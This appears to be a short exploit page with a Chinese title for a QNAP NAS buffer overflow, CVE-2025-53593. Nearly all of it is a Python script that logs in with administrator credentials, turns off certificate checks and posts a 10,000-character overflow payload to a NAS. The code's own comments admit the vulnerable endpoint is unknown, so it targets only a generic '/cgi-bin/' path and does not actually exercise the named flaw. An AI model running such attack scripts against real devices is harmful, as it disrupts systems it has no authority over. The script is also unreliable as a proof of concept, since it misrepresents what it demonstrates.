CVE-2025-53593 QNAP NAS 缓冲区溢出漏洞

# CVE-2025-53593 PoC - Buffer Overflow in QNAP NAS # This PoC demonstrates the buffer overflow condition # Requires administrator authentication import requests import json TARGET = "https://target-nas.local" USERNAME = "admin" PASSWORD = "admin_password" def exploit_buffer_overflow(): """ Generate malicious payload to trigger buffer overflow The exact endpoint and parameters need to be identified through further analysis of the affected component """ # Construct oversized payload to trigger overflow payload = { "data": "A" * 10000, # Large payload to overflow buffer "action": "modify" } # Authentication session = requests.Session() login_url = f"{TARGET}/cgi-bin/authLogin.cgi" auth_data = { "username": USERNAME, "password": PASSWORD } try: # Login to NAS response = session.post(login_url, data=auth_data, verify=False, timeout=30) if response.status_code == 200: # Identify vulnerable endpoint - requires further enumeration # Based on QNAP advisory QSA-25-50 target_url = f"{TARGET}/cgi-bin/" # Send malicious payload exploit_response = session.post(target_url, json=payload, verify=False, timeout=30) print(f"Exploit sent. Status: {exploit_response.status_code}") return True except Exception as e: print(f"Error: {e}") return False if __name__ == "__main__": print("CVE-2025-53593 Buffer Overflow PoC") print("Target: QNAP NAS devices") print("Requires: Administrator credentials") exploit_buffer_overflow()